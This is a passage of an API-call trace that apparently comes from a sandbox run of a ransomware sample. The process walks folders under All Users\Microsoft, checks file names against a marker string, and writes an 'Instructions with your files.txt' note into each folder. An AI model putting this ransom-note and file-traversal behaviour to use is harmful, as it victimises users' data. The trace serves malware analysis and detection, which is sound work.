[0131.827] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1285200, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.827] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Instructions with your files.txt") returned 84
[0131.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.827] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.828] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.828] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.828] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.828] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.828] CloseHandle (hObject=0x114) returned 1
[0131.828] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.828] GetProcessHeap () returned 0x810000
[0131.828] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.828] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0
[0131.828] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Instructions with your files.txt") returned 78
[0131.828] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.829] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.830] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.830] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.830] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.830] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.830] CloseHandle (hObject=0x110) returned 1
[0131.830] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.830] GetProcessHeap () returned 0x810000
[0131.830] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.830] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
[0131.830] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned 44
[0131.830] GetProcessHeap () returned 0x810000
[0131.830] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.830] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned 46
[0131.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.831] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\.") returned 46
[0131.831] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.831] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\..") returned 47
[0131.831] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1285200, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.831] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Instructions with your files.txt") returned 77
[0131.831] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.831] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
[0131.831] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 60
[0131.831] StrStrIW (lpFirst="ppcrlconfig.dll", lpSrch="SDfghjkl") returned 0x0
[0131.831] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1
[0131.831] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 56
[0131.831] StrStrIW (lpFirst="ppcrlui.dll", lpSrch="SDfghjkl") returned 0x0
[0131.831] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0
[0131.831] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Instructions with your files.txt") returned 77
[0131.831] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\IdentityCRL\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.831] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.832] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.832] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.832] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.832] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.832] CloseHandle (hObject=0x110) returned 1
[0131.832] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.833] GetProcessHeap () returned 0x810000
[0131.833] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.833] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb40eff00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb40eff00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb40eff00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.833] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Instructions with your files.txt") returned 65
[0131.833] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.833] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
[0131.833] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player") returned 45
[0131.833] GetProcessHeap () returned 0x810000
[0131.833] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.833] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\*") returned 47
[0131.833] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.833] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\.") returned 47
[0131.833] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.833] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\..") returned 48
[0131.833] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16635c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.833] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\Instructions with your files.txt") returned 78
[0131.833] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.833] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16635c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.833] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\Instructions with your files.txt") returned 78
[0131.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Media Player\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\media player\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.833] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.834] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.834] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.834] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.835] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.835] CloseHandle (hObject=0x110) returned 1
[0131.835] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.835] GetProcessHeap () returned 0x810000
[0131.835] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.835] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
[0131.835] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF") returned 35
[0131.835] GetProcessHeap () returned 0x810000
[0131.835] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.835] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\*") returned 37
[0131.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.835] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\.") returned 37
[0131.835] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.835] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\..") returned 38
[0131.835] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1
[0131.835] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned 46
[0131.835] StrStrIW (lpFirst="Active.GRL", lpSrch="SDfghjkl") returned 0x0
[0131.835] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16635c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16635c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16635c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.835] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Instructions with your files.txt") returned 68
[0131.835] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.835] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1
[0131.835] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL") returned 47
[0131.835] StrStrIW (lpFirst="Pending.GRL", lpSrch="SDfghjkl") returned 0x0
[0131.835] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0
[0131.836] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Instructions with your files.txt") returned 68
[0131.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MF\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
